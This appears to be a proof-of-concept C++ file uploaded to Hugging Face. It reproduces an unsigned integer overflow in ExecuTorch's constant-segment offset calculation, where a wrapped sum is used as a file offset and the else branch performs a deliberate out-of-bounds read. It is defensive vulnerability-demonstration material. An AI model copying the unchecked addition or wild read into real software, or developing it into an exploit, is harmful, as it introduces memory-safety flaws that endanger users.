executorch-constseg-offset-oob-poc / offset_add_repro.cpp
ybgwon96's picture
Upload folder using huggingface_hub
a06a6f8 verified
Raw History Blame Contribute Delete
1 kB
#include <cstdio>
#include <cstdint>
#include <cstdlib>
#include <vector>
#include <cstring>
// program.cpp:288 plain + vs LoadSegment's add_overflows
int main(){
uint64_t segment_base_offset = 0xFFFFFFFFFFFFFFF0ULL;
uint64_t data_segment_offset = 0x100;
uint64_t sum = segment_base_offset + data_segment_offset; // wraps
fprintf(stderr,"base=%llx off=%llx sum(wrap)=%llx\n",
(unsigned long long)segment_base_offset,
(unsigned long long)data_segment_offset,
(unsigned long long)sum);
// loader sees wrapped offset - may read wrong in-file region
std::vector<char> file(256, 'B');
size_t off = (size_t)sum; // truncated/wrapped
fprintf(stderr,"loader offset as size_t=%zu file_size=%zu\n", off, file.size());
if (off < file.size()) {
volatile char c = file[off];
fprintf(stderr,"read at wrap in-bounds c=%c\n", c);
} else {
// OOB read demonstration
volatile char c = file.data()[off]; // wild
fprintf(stderr,"read c=%d\n", (int)c);
}
return 0;
}